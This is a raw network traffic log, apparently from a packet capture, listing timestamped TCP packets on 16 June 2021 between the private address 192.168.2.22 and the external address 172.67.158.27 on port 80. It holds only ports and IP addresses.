Jun 16, 2021 12:06:01.033097982 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.033128023 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.033128977 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.033157110 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.033184052 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.033188105 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.033211946 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.033241034 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.033243895 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.033698082 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.033737898 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.033740044 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.033770084 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.033799887 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.033802986 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.033834934 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.033865929 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.033874035 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.033898115 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.033926964 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.033930063 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.033962011 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.033991098 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.033993959 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.034024954 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.034056902 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.034056902 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.034090042 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.034120083 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.034121990 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.034153938 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.034185886 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.034188032 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.034622908 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.034658909 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.034663916 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.034694910 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.034725904 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.034727097 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.034759998 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.034790039 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.034790039 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.034822941 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.034854889 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.034857988 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.034887075 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.034919024 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.034919024 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.034950972 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.034981966 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.034982920 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.035021067 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.035051107 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.035053015 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.035084963 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.035130024 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.035137892 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.035505056 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.035546064 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.035553932 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.035578012 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.035609007 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.035609961 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.035644054 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.035675049 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.035677910 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.035707951 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.035738945 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.035741091 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.035772085 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.035804033 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.035804033 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.035836935 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.035866022 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.035868883 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.035901070 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.035931110 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.035931110 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.035964012 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.035995007 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.035995960 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.036499023 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.036535978 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.036549091 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.036561966 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.036597013 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.036598921 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.036631107 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.036660910 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.036664009 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.036689043 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.036719084 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.036724091 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.036746979 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.036777020 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.036780119 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.036808014 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.036837101 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.036843061 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.036864996 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.036894083 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.036895990 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.036921978 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.036951065 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.036953926 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.037373066 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.037410975 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.037424088 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.037440062 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.037468910 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.037471056 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.037498951 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.037527084 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.037528038 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.037555933 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.037584066 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.037585020 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.037612915 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.037641048 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.037642002 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.037669897 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.037698030 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.037702084 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.037724018 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.037749052 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.037755966 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.037775040 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.037801981 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.037805080 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.038301945 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.038351059 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.038362026 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.038383961 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.038417101 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.038418055 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.038450003 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.038480997 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.038482904 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.038517952 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.038547993 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.038554907 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.038589954 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.038620949 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.038623095 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.038655996 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.038686037 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.038690090 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.038722038 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.038752079 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.038753986 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.038785934 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.038816929 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.038817883 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.071459055 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.071510077 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.071537971 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.071564913 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.071590900 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.071616888 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.071615934 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.071636915 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.071643114 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.071664095 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.071670055 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.071696043 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.071702957 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.071732044 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.071759939 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.071763992 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.071787119 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.071820021 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.071824074 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.071851969 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.071882963 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.071882010 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.071913958 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.071943998 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.071945906 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.071974039 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.072005033 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.072006941 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.072036982 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.072066069 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.072068930 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.072097063 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.072128057 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.072128057 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.072160006 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.072190046 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.072191000 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.072221994 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.072254896 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.072254896 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.072284937 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.072316885 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.072318077 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.072349072 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.072379112 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.072716951 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.072752953 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.072776079 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.072788954 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.072804928 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.072841883 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.072845936 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.072869062 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.072895050 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.072902918 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.072920084 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.072942972 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.072958946 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.073281050 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.073317051 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.073335886 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.073349953 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.073379993 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.073384047 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.073410034 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.073438883 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.073440075 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.073468924 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.073499918 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.073499918 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.073529005 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.073561907 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.073565006 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.073590994 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.073621988 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.073630095 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.073652983 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.073682070 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.073684931 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.073713064 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.073744059 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.073744059 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.074116945 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.074157000 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.074157953 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.074186087 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.074215889 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.074215889 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.074244976 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.074275970 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.074275970 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.074305058 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.074333906 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.074335098 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.074362993 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.074400902 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.074420929 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.074431896 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.074460030 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.074465990 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.074487925 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.074513912 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.074522018 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.074541092 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.074565887 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.074569941 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.075047970 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.075084925 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.075099945 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.075129986 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.075161934 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.075165033 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.075189114 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.075216055 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.075222969 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.075242996 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.075263977 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.075275898 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.135545969 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.135953903 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.191992998 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192030907 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192063093 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192085028 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192105055 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192107916 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.192130089 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.192130089 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192156076 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192183018 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192192078 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.192212105 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192236900 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192245007 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.192262888 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192290068 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192297935 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.192317009 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192344904 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192348957 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.192370892 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192395926 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192405939 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.192420959 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192446947 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192455053 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.192471027 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192493916 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192503929 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.192516088 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192538023 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192548990 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.192558050 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192583084 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192595005 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.192600965 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192635059 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.192823887 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192847967 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192869902 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192882061 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.192887068 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192917109 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192920923 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.192940950 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192960978 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.192972898 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.192977905 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.193006992 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.193015099 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.193031073 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.193052053 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.193062067 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.193070889 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.193098068 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.193104982 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.193120956 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.193141937 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.193152905 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.193159103 CEST	80	49170	172.67.158.27	192.168.2.22
